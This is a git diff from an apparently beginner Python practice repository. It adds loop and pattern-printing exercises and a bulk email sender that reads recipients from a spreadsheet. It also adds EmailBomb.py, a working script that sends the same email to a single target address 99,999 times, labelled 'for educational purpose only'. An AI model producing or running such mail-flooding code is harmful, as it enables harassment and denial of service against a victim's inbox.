diff --git a/Email/EmailBomb.py b/Email/EmailBomb.py new file mode 100644 index 0000000..8986988 --- /dev/null +++ b/Email/EmailBomb.py @@ -0,0 +1,35 @@ +#------------------------------------------------------------------------------- +# Name: Email Bomb +# Purpose: Program to send unlimited emails - This is for educational purpose only +# Author: rakesh kumar +# Created: 11-02-2018 +# Copyright: rakesh kumar +# Licence: MIT +#------------------------------------------------------------------------------- +import time +import getpass +import smtplib +from email.mime.text import MIMEText +# Open a plain text file for reading. For this example, assume that +# the text file contains only ASCII characters. +textfile ="abcd.txt" +fp = open(textfile, 'r') +# Create a text/plain message +msg = MIMEText(fp.read()) +fp.close() + +me ='email@google.com' +target = 'target@gmail.com' + +msg['Subject'] = 'The contents of %s' % textfile +msg['From'] = me +msg['To'] = target +password = getpass.getpass("Enter your email ID password : ") +for i in range (1,100000): + connection = smtplib.SMTP_SSL('smtp.google.com',465) + connection.ehlo() + #connection.starttls() + connection.login('email@google.com',password) + connection.sendmail(me,[target],msg.as_string()) + connection.quit() + time.sleep(15) \ No newline at end of file diff --git a/Email/emailsend.py b/Email/emailsend.py new file mode 100644 index 0000000..956d21c --- /dev/null +++ b/Email/emailsend.py @@ -0,0 +1,50 @@ +#------------------------------------------------------------------------------- +# Name: Bulk Email Sender using Excel file and +# Purpose: Program reads name and email Id from Excel file and send to all the members +# +# Author: rakesh kumar +# +# Created: 11-02-2018 +# Copyright: rakesh kumar +# Licence: Private +#------------------------------------------------------------------------------- +import xlrd +import time +import smtplib +from email.mime.text import MIMEText + +# Open a plain text file for reading. For this example, assume that +# the text file contains only ASCII characters. +textfile ="abcd.txt" +fp = open(textfile, 'r') +# Create a text/plain message +msg = MIMEText(fp.read()) +fp.close() + +me ='rakesh@binarynote.com' +you = 'support@binarynote.com' + +msg['Subject'] = 'The contents of %s' % textfile +msg['From'] = me +msg['To'] = you + +password = input("Enter your password") +book = xlrd.open_workbook("phone.xlsx") +sheet = book.sheet_by_index(0) +count = sheet.nrows +for rx in range(1,sheet.nrows): + rec_email = sheet.cell_value(rx,2) + rec_name = sheet.cell_value(rx,0) + msg['To'] = rec_email + connection = smtplib.SMTP_SSL('gator3189.hostgator.com',465) + connection.ehlo() + #connection.starttls() + connection.login('rakesh@binarynote.com',password) + connection.sendmail(me,[rec_email],msg.as_string()) + connection.quit() + positionStr = "Total : "+str(rx).rjust(4) +" out of : "+ str(count-1).rjust(4) +" send" + print(positionStr, end='') + time.sleep(15) + print('\b' * len(positionStr), end='', flush=True) + +print('\n\n Emails pushed...\n\n') \ No newline at end of file diff --git a/Loops/NumberTree.py b/Loops/NumberTree.py new file mode 100644 index 0000000..1e487ee --- /dev/null +++ b/Loops/NumberTree.py @@ -0,0 +1,21 @@ +# purpose : write a program to print the following pattern +# 1 +# 1 2 +# 1 2 3 +# 1 2 3 4 +# 1 2 3 4 5 +# 1 2 3 4 5 6 +# author : rakesh kumar +# licence : MIT + +n = int(input("Enter value of n : ")) +for i in range(1,n+1): + if(i%2!=0): + for j in range(n+1,i,-1): + print(' ', end=" ") + else: + for j in range(n+1,1,-1): + print(' ', end=" ") + for k in range(1,i+1): + print(k, end=" ") + print() \ No newline at end of file diff --git a/Loops/charTriangle.py b/Loops/charTriangle.py new file mode 100644 index 0000000..9d67868 --- /dev/null +++ b/Loops/charTriangle.py @@ -0,0 +1,21 @@ +# purpose : write a program to print the following pattern +# 1 +# 1 2 1 +# 1 2 3 2 1 +# 1 2 3 4 3 2 1 +# 1 2 3 4 5 4 3 2 1 +# 1 2 3 4 5 6 5 4 3 2 1 +# +# author : rakesh kumar +# licence : MIT + + + +for i in range(1,10): + for j in range(10-i): + print(' ', end=" ") + for k in range(1,i+1): + print(chr(k+64), end=" ") + for l in range(i-1,0,-1): + print(chr(l+64),end=" ") + print() \ No newline at end of file diff --git a/for_1.py b/Loops/for_1.py similarity index 99% rename from for_1.py rename to Loops/for_1.py index 4f0870f..e2b90f2 100644 --- a/for_1.py +++ b/Loops/for_1.py @@ -4,4 +4,5 @@ def pyramid(): for j in range(1,i+1): print(j,end=" ") print() + pyramid() \ No newline at end of file diff --git a/Loops/rhombus.py b/Loops/rhombus.py new file mode 100644 index 0000000..52b3158 --- /dev/null +++ b/Loops/rhombus.py @@ -0,0 +1,43 @@ +# purpose : write a program to print the following pattern +# 1 +# 1 2 1 +# 1 2 3 2 1 +# 1 2 3 4 3 2 1 +# 1 2 3 4 5 4 3 2 1 +# 1 2 3 4 5 6 5 4 3 2 1 +# 1 2 3 4 5 6 7 6 5 4 3 2 1 +# 1 2 3 4 5 6 7 8 7 6 5 4 3 2 1 +# 1 2 3 4 5 6 7 8 9 8 7 6 5 4 3 2 1 +# 1 2 3 4 5 6 7 8 9 10 9 8 7 6 5 4 3 2 1 +# 1 2 3 4 5 6 7 8 9 8 7 6 5 4 3 2 1 +# 1 2 3 4 5 6 7 8 7 6 5 4 3 2 1 +# 1 2 3 4 5 6 7 6 5 4 3 2 1 +# 1 2 3 4 5 6 5 4 3 2 1 +# 1 2 3 4 5 4 3 2 1 +# 1 2 3 4 3 2 1 +# 1 2 3 2 1 +# 1 2 1 +# 1 +# +# author : rakesh kumar +# licence : MIT + + + +for i in range(1,10): + for j in range(10-i): + print(' ', end=" ") + for k in range(1,i+1): + print(k, end=" ") + for l in range(i-1,0,-1): + print(l,end=" ") + print() + +for i in range(10,0,-1): + for j in range(10-i): + print(' ', end=" ") + for k in range(1,i+1): + print(k, end=" ") + for l in range(i-1,0,-1): + print(l,end=" ") + print() \ No newline at end of file diff --git a/sum_digit.py b/Loops/sum_digit.py similarity index 100% rename from sum_digit.py rename to Loops/sum_digit.py diff --git a/sum_digits.py b/Loops/sum_digits.py similarity index 100% rename from sum_digits.py rename to Loops/sum_digits.py diff --git a/Loops/triangle.py b/Loops/triangle.py new file mode 100644 index 0000000..39e9838 --- /dev/null +++ b/Loops/triangle.py @@ -0,0 +1,21 @@ +# purpose : write a program to print the following pattern +# 1 +# 1 2 1 +# 1 2 3 2 1 +# 1 2 3 4 3 2 1 +# 1 2 3 4 5 4 3 2 1 +# 1 2 3 4 5 6 5 4 3 2 1 +# +# author : rakesh kumar +# licence : MIT + + + +for i in range(1,10): + for j in range(10-i): + print(' ', end=" ") + for k in range(1,i+1): + print(k, end=" ") + for l in range(i-1,0,-1): + print(l,end=" ") + print() \ No newline at end of file diff --git a/while-1.py b/Loops/while-1.py similarity index 100% rename from while-1.py rename to Loops/while-1.py diff --git a/while_range.py b/Loops/while_range.py similarity index 100% rename from while_range.py rename to Loops/while_range.py diff --git a/The.Raid.2.2014.1080p.BluRay.x264-YTS.AG-The.Raid.2.2014.1080p.BluRay.x264-YTS.AG.MP4.part b/The.Raid.2.2014.1080p.BluRay.x264-YTS.AG-The.Raid.2.2014.1080p.BluRay.x264-YTS.AG.MP4.part new file mode 100644 index 0000000..d9ef897 Binary files /dev/null and b/The.Raid.2.2014.1080p.BluRay.x264-YTS.AG-The.Raid.2.2014.1080p.BluRay.x264-YTS.AG.MP4.part differ diff --git a/abcd.html b/abcd.html deleted file mode 100644 index 566549b..0000000 --- a/abcd.html +++ /dev/null @@ -1,10 +0,0 @@ - - -
- -